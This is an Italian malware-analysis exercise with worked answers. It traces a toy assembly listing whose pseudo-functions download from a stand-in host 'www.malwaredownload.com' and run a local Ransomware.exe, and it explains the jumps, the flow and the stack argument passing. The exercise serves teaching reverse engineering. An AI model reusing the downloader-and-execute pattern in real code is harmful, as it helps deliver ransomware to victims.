MALWARE ANALYSIS

CON RIFERIMENTO ALLA CODICE SEGUENTE:

1) SPIEGARE QUALE SALTO CONDIZIONALE EFFETTUA IL MALAWARE
2) DISEGNARE UN DIAGRAMMA CHE SPIEGHI I SALTI CONDIZIONALI DEL MALWARE
3) IDENTIFICARE LE FUNZIONALITA' IMPLEMENTATE ALL'INTERNO DEL MALWARE
4) DETTAGLIARE IN RIFERIMENTO ALL' ISTRUZIONE «CALL» IN TAB2 /3, COME VENGONO PASSATI GLI ARGOMENTI ALLE SUCCESSIVE FUNZIONI

Tabella 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

PUNTO 1: SALTO CONDIZIONALE

Il salto condizionale è un tipo di istruzione che viene utilizzata per eseguire un salto a una posizione specifica del programma solo se una certa condizione è verificata. In questo caso, il salto condizionale avviene alla locazione della memoria 00401068 : l'istruzione «jz loc 0040FFA0» salta all'indirizzo 0040FFA0 perché viene verificata come vera la condizione per cui al registro EBX è assegnato il valore 11.

00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

← assegna il valore 10 al registro EBX

← Incrementa di 1 il valore del registro EBX

← confronta il contenuto di EBX con il valore 11

← Esegue il salto alla locaizone 0040FFA0 se il contenuto di EBX è uguale a 11.

NOTA:

l'istruzione «jnz» è utilizzata per saltare alla locazione di memoria 0040BBA0 solo se il valore del registro EAX non è uguale a 5. In questo caso il valore 5 è assegnato al registro EAX , quindi il salto non viene effettuato.

PUNTO 2: DIAGRAMMA DI FLUSSO CHE IDENTIFICA I SALTI CONDIZIONALI

Nel seguente diagramma viene illustrato il comportamento del malware identificandone i salti condizionali effetuati e non.
Il salto effettuato come abbiam detto avviene alla locazione 00401068 tramite l'istruzione «jz loc 0040FFA0»; La locazione di memoria 0040FFA0 copia il contenuto del registro EDI che è uguale al valore = «C:\Program and Settings\LocalUser\Desktop\Ransomware.exe» in EDX e pusha il valore di EDX alla funzione chiamata «WinExec()».
All'indirizzo di memoria 0040105B che corrisponde all'istruzione «jnz loc 0040BBA0» , «jnz» è utilizzata per saltare alla locazione di memoria 0040BBA0 solo se il contenuto il valore del registro EAX non corrisponde a 5. In questo caso il valore 5 è assegnato al registro EAX , quindi il salto non viene effettuato e l'esecuzione continua con l'istruzione successiva alla jnz.

LEGENDA:

SALTI NON EFFETTUATI

SALTI EFFETTUATI

00401040	mov	EAX, 5
00401044	mov	EBX, 10
00401048	cmp	EAX, 5
0040105B	jnz	loc 0040BBA0

0040105F	inc	EBX
00401064	cmp	EBX, 11
00401068	jz	loc 0040FFA0

0040BBA0	mov	EAX, EDI
0040BBA4	push	EAX
0040BBA8	call	DownloadToFile()

ISTRUZIONE SUCCESSIVA

0040FFA0	mov	EDX, EDI
0040FFA4	push	EDX
0040FFA8	call	WinExec()

ISTRUZIONE SUCCESSIVA

PUNTO 3 : IDENTIFICARE LE FUNZIONALITA' IMPLEMENTATE ALL'INTERNO DEL MALWARE

Le funzionalità implementate all'interno del malware sono due ma in realtà ne viene eseguita solamente una, ovvero la seconda

PRIMA FUNZIONALITA'

0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Nel primo caso il programma scarica un malware da Internet all'indirizzo URL : www.malwaredownload.com e ne esegue appunto il download. Quindi si può dedurre che il malware si comporta come un downloader.

SECONDA FUNZIONALITA'

0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Nel secondo caso, esegue il file chiamato Ransomware.exe presente all'interno del pc precisamente al path: C:\Program and Settings\LocalUser\Desktop\Ransomware.exe

PUNTO 4: DETTAGLIARE IN RIFERIMENTO ALL' ISTRUZIONE «CALL» IN TAB2 /3, COME VENGONO PASSATI GLI ARGOMENTI ALLE SUCCESSIVE FUNZIONI

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Nella tabella 2, i parametri vengono passati allo stack tramite l'istruzione «push». Nello specifico l'istruzione «Call» chiama la pseudo funzione «DownloadToFile()», l'istruzione «mov» assegna EDI = www.malwaredownload.com all'indirizzo EAX. l'istruzione «push» passa il parametro URL (www.malwaredownload.com) allo stack prima che la pseudo funzione venga chiamata.

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Nella tabella 3, i parametri vengono anche qui passatati allo stack tramite l'istruzione «push». Nello specifico l'istruzione «call» chiama la pseudo funzione «WinExec()» , l'istruzione «mov» assegna EDI = «C:\Program and Settings\LocalUser\Desktop\Ransomware.exe » all'indirizzo EDX, l'istruzione «push» passa l'indirizzo del file .exe da eseguire allo stack prima che la pseudo funzione venga chiamata